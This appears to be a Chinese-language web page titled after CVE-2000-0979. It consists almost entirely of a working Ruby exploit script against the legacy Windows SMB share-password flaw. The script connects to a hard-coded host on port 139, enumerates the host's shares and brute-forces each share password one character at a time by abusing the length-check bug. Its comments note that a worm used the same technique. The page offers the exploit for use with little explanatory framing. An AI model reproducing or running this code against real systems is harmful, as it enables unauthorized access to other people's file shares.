# CVE-2000-0979密碼共享漏洞
==EXP==
# this program will exploit CVE-2000-0979.
# Exploit was used by Share Password Checker
# http://www.securityfriday.com/tools/SPC.html
# and by WORM_OPASERV
#TODO convert to Metasploit
require 'socket'
require 'hexdump'
#Method: Rex::Text.to_hex_dump
#Defined in:
# lib/rex/text.rb
#permalink .to_hex_dump(str, width = 16, base = nil) ⇒ Object
#require 'pp'
delay = 0.001
puts "Hello CVE-2000-0979"
hex = Hexdump::Dumper.new
RHOST = '192.168.1.113' #'127.0.0.1'
RPORT = 139
$debug = FALSE
socket = TCPSocket.open(RHOST, RPORT)
BUFFER_SIZE = 1000
def debug_puts(message)
if $debug
puts message
end
end
def debug_hex_dump(hex,message)
if $debug
puts hex.dump(message)
end
end
def sock_close(socket)
debug_puts "Closing the Client..................."
socket.close # Close the socket
end
#todo redo Object oriented
def update_tid(packet, tid)
tid_arr = tid.unpack('C*')
packet.map! { |val|
if val == "tid0" then
tid_arr[0]
elsif val == "tid1" then
tid_arr[1]
else val
end
}
return packet
end
def update_password(packet, nbs_length,length0, length1, byte_count0, byte_count1,password,
share)
new_packet = packet.map { |val|
if val == "length0" then
length0
elsif val == "length1" then
length1
elsif val == "byte_count0" then
byte_count0
elsif val == "byte_count1" then
byte_count1
elsif val == "nbs_length" then
nbs_length
else val
end
}
share_chars = share.chars.map {|val|
val.ord
}
new_packet.insert(new_packet.find_index("share"),share_chars).flatten!
new_packet.delete_at(new_packet.find_index("share"))
new_packet.insert(new_packet.find_index("password"),password).flatten!
new_packet.delete_at(new_packet.find_index("password"))
return new_packet
end
def update_machine_name(packet,machine_name)
packet.insert(packet.find_index("machine_name"),machine_name).flatten!
packet.delete_at(packet.find_index("machine_name"))
return packet
end
def send_and_receive(socket, packet)
hex = Hexdump::Dumper.new
debug_puts "\nFinal client data "
debug_hex_dump(hex,packet.pack('C*').to_s)
socket.send packet.pack('C*'),0
response = socket.recvfrom(BUFFER_SIZE)
debug_puts "\nServer response\n"
debug_hex_dump(hex,response.first.to_s)
return response
end
tree_disconnect_request = [0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xff, 0xfe,
0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00 ]
machine_name = 32.times.map{ 0x41 + Random.rand(6) }
session_request_def = [0x81, 0x00, 0x00, 0x44, 0x20, 0x45, 0x45, 0x45,
0x46, 0x45, 0x47, 0x45, 0x42, 0x46, 0x46, 0x45,
0x4d, 0x46, 0x45, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20, "machine_name", 0x00]
session_request_def = update_machine_name(session_request_def,machine_name)
neg_prot_req = [0x00, 0x00, 0x00, 0x2f, 0xff, 0x53, 0x4d, 0x42,
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xc8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x02, 0x4e, 0x54,
0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32,
0x00]
sess_setup_andx_req = [0x00, 0x00, 0x00, 0x9d, 0xff, 0x53, 0x4d, 0x42,
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,
0x00, 0x00, 0x04, 0x00, 0x0d, 0x75, 0x00, 0x74,
0x00, 0x68, 0x0b, 0x02, 0x00, 0x00, 0x00, 0x09,
0x06, 0x03, 0x80, 0x01, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x37,
0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e,
0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30,
0x30, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
0x65, 0x20, 0x50, 0x61, 0x63, 0x6b, 0x20, 0x33,
0x20, 0x32, 0x36, 0x30, 0x30, 0x00, 0x57, 0x69,
0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30,
0x30, 0x30, 0x20, 0x35, 0x2e, 0x31, 0x00, 0x00,
0x04, 0xff, 0x00, 0x9d, 0x00, 0x08, 0x00, 0x01,
0x00, 0x1e, 0x00, 0x00, 0x5c, 0x5c, 0x31, 0x39,
0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32,
0x32, 0x2e, 0x31, 0x34, 0x31, 0x5c, 0x49, 0x50,
0x43, 0x24, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f,
0x00 ]
netshareenum_request = [0x00, 0x00, 0x00, 0x63, 0xff, 0x53, 0x4d, 0x42,
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xff, 0xfe,
0x00, 0x00, 0x14, 0x00, 0x0e, 0x13, 0x00, 0x00,
0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x13,
0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x24, 0x00, 0x5c, 0x50, 0x49, 0x50, 0x45,
0x5c, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x72,
0x4c, 0x65, 0x68, 0x00, 0x42, 0x31, 0x33, 0x42,
0x57, 0x7a, 0x00, 0x01, 0x00, 0x00, 0x10]
sess_setup_andx_req_anon = [0x00, 0x00, 0x00, 0x60, 0xff, 0x53, 0x4d, 0x42,
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,
0x00, 0x00, 0x01, 0x00, 0x0a, 0xff, 0x00, 0x00,
0x00, 0x68, 0x0b, 0x02, 0x00, 0x01, 0x00, 0x0a,
0x06, 0x02, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00,
0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20,
0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39,
0x35, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f,
0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20,
0x35, 0x2e, 0x30, 0x00]
tree_connect_request_path_password = [0x00, 0x00, 0x00, "nbs_length", 0xff, 0x53, 0x4d, 0x42,
0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,
0x00, 0x00, 0x01, 0x00, 0x04, 0xff, 0x00, 0x00,
0x00, 0x00, 0x00,
"length0", "length1", "byte_count0", "byte_count1","password",
"share", 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00]
tree_disconnect = [0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xc0, 0x0b,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00]
myhash = {}
@client_packets = [{ "tree_disconnect_request" => tree_disconnect_request},
{"close1" => "close"},
{"session_request_def" => session_request_def},
{"neg_prot_req" => neg_prot_req},
{"sess_setup_andx_req" => sess_setup_andx_req},
{"netshareenum_request" => netshareenum_request},
{"close3" => "close"},
{"session_request_2" => session_request_def},
{"neg_prot_req_2" => neg_prot_req},
{"sess_setup_andx_req_anon" => sess_setup_andx_req_anon}
]
i = 0
tid = 0
length0, length1, byte_count0, byte_count1,password, share = 0
shares = Array.new
@client_packets.each_with_index { |val, idx|
begin
if val[val.keys[0]].to_s == "close" and socket then
sock_close(socket) #close
debug_puts "Opening socket again"
socket = TCPSocket.open(RHOST, RPORT) #open new
next
elsif !socket
debug_puts "Opening socket again"
socket = TCPSocket.open(RHOST, RPORT) #open new
next
end
if [ 'netshareenum_request'].include? val.keys[0] then
#update TID in packets
packet = update_tid(val[val.keys[0]], tid)
debug_puts "Packet updated"
else
packet = val[val.keys[0]]
end
debug_puts "\nclient data\n"
debug_puts val.keys[0]
response = send_and_receive(socket,packet)
if val.keys[0] == "sess_setup_andx_req" then
tid = response.first[28..29]
debug_puts "New tree ID TID !!!!!"
debug_hex_dump(hex,tid)
end
if val.keys[0] == "session_request_def" then
session_response = response.first[0]
if (session_response.ord != 0x82) then
puts "Session response is not positive! Exiting."
exit(0)
end
end
if val.keys[0] == "neg_prot_req" then
error_class = response.first[9]
if (error_class.ord != 0x0) then
puts "Error in negotiation! Exiting."
exit(0)
end
end
if val.keys[0] == "netshareenum_request" then
num_of_shares = response.first[65..66].unpack('cc').first
print "Number of shares: "
puts num_of_shares
puts "Share names: "
num_of_shares.times do |n|
offset = (n * 20) + 68
share_name = response.first[offset..offset+15]
shares.push(share_name)
puts "\t" + share_name
end
end
rescue IOError, SocketError, SystemCallError => e
puts e.message
puts e.backtrace.inspect
exit(-1)
end
}
#Start brute-forcing the password
shares.each { |share|
next_share = FALSE
share = share.delete("\000")
#puts share.length
nbs_length = 0x33 + share.length
length0 = 0x01
length1 = 0x00
byte_count0 = 0x08 + share.length
byte_count1 = 0x00
password = [0x20] #TODO skip lowercase letters
puts "Brute-forcing password for share: " + share
while true
begin
packet = update_password(tree_connect_request_path_password,nbs_length, length0, length1,
byte_count0, byte_count1,password,share)
debug_puts "Packet updated"
response = send_and_receive(socket,packet)
if ((response.first[9].unpack('C') +
response.first[10].unpack('C') +
response.first[11].unpack('C') +
response.first[12].unpack('C'))[0] == 0) then
debug_puts 'Auth success, trying next char'
if (password[0] ==0x20 and password[1]==0x20)
puts "Empty password works!\n\n"
next_share=TRUE
break
end
length0 = length0 + 1
nbs_length = nbs_length + 1
byte_count0 = byte_count0 + 1
password.push(0x20)
tid = response.first[28..29]
debug_puts "New tree ID TID !"
debug_hex_dump(hex,tid)
packet = update_tid(tree_disconnect, tid)
response = send_and_receive(socket,tree_disconnect)
else
password[length0-1] = password[length0-1] + 1
password.each { |val|
print val.chr()
}
print "\r"
sleep(delay)
if (password[length0-1] > 128) then
password.each { |val|
if (val < 128) then
print val.chr()
end
}
#TODO check for 0 length password
if length0 > 1
puts "\n"+'<- No more char to try, this should be your password, yikes :) '+"\n\n"
else
puts "Password not found :("+"\n\n"
end
next_share=TRUE
end
end
rescue IOError, SocketError, SystemCallError => e
puts e.message
puts e.backtrace.inspect
exit(-1)
end
if (next_share) #moving on to the next share
break
end
end
}
sock_close(socket)
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END













请登录后查看评论内容